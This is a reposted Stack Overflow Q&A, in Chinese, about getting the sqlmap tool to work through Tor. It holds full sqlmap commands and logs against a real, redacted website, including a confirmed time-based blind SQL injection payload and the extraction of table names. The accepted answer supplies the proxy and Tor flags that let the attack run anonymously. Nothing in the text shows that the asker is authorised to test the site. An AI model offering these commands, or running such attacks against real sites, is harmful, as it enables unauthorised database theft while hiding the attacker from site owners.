gpt4 book ai didi

mysql - 使用 TOR 时 sqlmap 无法检索信息

转载 作者:行者123 更新时间:2023-11-30 00:40:34 25 4
gpt4 key购买 nike

我正在使用 sqlmap 和 TOR 进行简单的测试,虽然不使用 TOR 的命令会检索表的所有名称,但当我添加选项 --tor --tor-port=9151 时,它会返回空名称或无法返回任何表格。

我使用的是 Python 2.7、sqlmap/1.0-dev 和 Windows Vista。

没有--tor --tor-port=9151:

C:\tools\sqlmapNew>\Python27\python.exe sqlmap.py -u <theWebsite>?vulnerablecode
=111 -D <aDatabase> --tables --threads 5 --random-agent

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 18:16:16

[18:16:16] [INFO] fetched random HTTP User-Agent header from file 'C:\tools\sqlm
apNew\txt\user-agents.txt': Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKi
t/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2
[18:16:17] [INFO] testing connection to the target URL
[18:16:18] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[18:16:20] [WARNING] target URL is not stable. sqlmap will base the page compari
son on a sequence matcher. If no dynamic nor injectable parameters are detected,
or in case of junk results, refer to user's manual paragraph 'Page comparison'
and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[18:16:21] [INFO] testing if GET parameter 'vulnerablecode' is dynamic
[18:16:22] [INFO] confirming that GET parameter 'vulnerablecode' is dynamic
[18:16:23] [WARNING] GET parameter 'vulnerablecode' does not appear dynamic
[18:16:24] [INFO] heuristics detected web page charset 'ISO-8859-2'
[18:16:24] [WARNING] heuristic (basic) test shows that GET parameter 'vulnerable
code' might not be injectable
[18:16:24] [INFO] testing for SQL injection on GET parameter 'vulnerablecode'
[18:16:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:16:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[18:16:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:16:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:16:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[18:16:45] [INFO] testing 'MySQL inline queries'
[18:16:46] [WARNING] reflective value(s) found and filtering out
[18:16:46] [INFO] testing 'PostgreSQL inline queries'
[18:16:47] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:16:48] [INFO] testing 'Oracle inline queries'
[18:16:48] [INFO] testing 'SQLite inline queries'
[18:16:49] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:16:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:16:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:17:01] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:17:23] [INFO] GET parameter 'vulnerablecode' seems to be 'MySQL > 5.0.11 AND
time-based blind' injectable
[18:17:23] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[18:17:23] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[18:17:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:17:53] [INFO] checking if the injection point on GET parameter 'vulnerablecod
e' is a false positive
GET parameter 'vulnerablecode' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N]

但是当我添加 --tor --tor-port=9151 选项时,没有发现漏洞:

C:\tools\sqlmapNew>\Python27\python.exe sqlmap.py -u <theWebsite>?vulnerableCode=
111 -D <theDatabase> --tables --threads 5 --random-agent --tor --tor-port=9151

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 18:23:30

[18:23:30] [WARNING] increasing default value for option '--time-sec' to 10 beca
use switch '--tor' was provided
[18:23:30] [INFO] setting Tor HTTP proxy settings
[18:23:30] [WARNING] use switch '--check-tor' at your own convenience when acces
sing Tor anonymizing network because of known issues with default settings of va
rious 'bundles' (e.g. Vidalia)
[18:23:30] [INFO] fetched random HTTP User-Agent header from file 'C:\tools\sqlm
apNew\txt\user-agents.txt': Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1
.9.1b2) Gecko/20081201 Firefox/3.1b2
[18:23:30] [INFO] resuming back-end DBMS 'mysql'
[18:23:30] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: vulnerableCode
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: vulnerableCode=111 AND SLEEP(10)
---
[18:23:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[18:23:30] [INFO] fetching tables for database: '<theDB>'
[18:23:30] [INFO] fetching number of tables for database '<theDB>'
[18:23:30] [WARNING] multi-threading is considered unsafe in time-based data ret
rieval. Going to switch it off automatically
[18:23:30] [WARNING] it's highly recommended to avoid usage of switch '--tor' fo
r time-based injections because of its high latency time
[18:23:30] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[18:23:31] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based payloads

[18:23:31] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[18:23:31] [WARNING] unable to retrieve the number of tables for database '<theDB>'
[18:23:31] [ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q]
No tables found
[18:23:35] [INFO] fetched data logged to text files under 'C:\tools\sqlmapNew\ou
tput\<theWebsite>'

[*] shutting down at 18:23:35

当我在没有 --tor --tor-port=9151 的情况下指定数据库和表时,我会检索一些值:

[16:51:33] [INFO] fetching tables for database: '<theDb>'
[16:51:33] [INFO] fetching number of tables for database '<theDb>'
[16:51:33] [INFO] resumed: 101
[16:51:33] [INFO] retrieving the length of query output
[16:51:33] [INFO] retrieved:
[16:51:34] [INFO] heuristics detected web page charset 'ISO-8859-2'
[16:51:35] [WARNING] reflective value(s) found and filtering out
[16:51:49] [INFO] retrieved: 1!
[16:51:49] [INFO] retrieved: test

但没有使用 --tor --tor-port=9151 选项:

[16:51:11] [INFO] retrieved:
[16:51:11] [INFO] retrieved:
[16:51:11] [INFO] retrieved:
[16:51:11] [INFO] retrieving the length of query output
[16:51:12] [INFO] retrieved:
[16:51:12] [INFO] retrieved:
[16:51:12] [INFO] retrieved:
[16:51:12] [INFO] retrieving the length of query output
[16:51:12] [INFO] retrieved:

尝试通过 TOR 连接时我是否遗漏了某些内容?

提前谢谢您!

最佳答案

您必须写:

--tor --tor-port=9150 --tor-type=socks5 --check-tor

或者你可以直接写:

--proxy="socks5://localhost:9150" --check-tor

在使用 tor 进行基于时间检索时,还要确保为 --time-sec=15 设置较高的值。Tor 的默认端口是 9150,但如果您有 9151,则可以在值中使用它。

关于mysql - 使用 TOR 时 sqlmap 无法检索信息,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/21801233/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com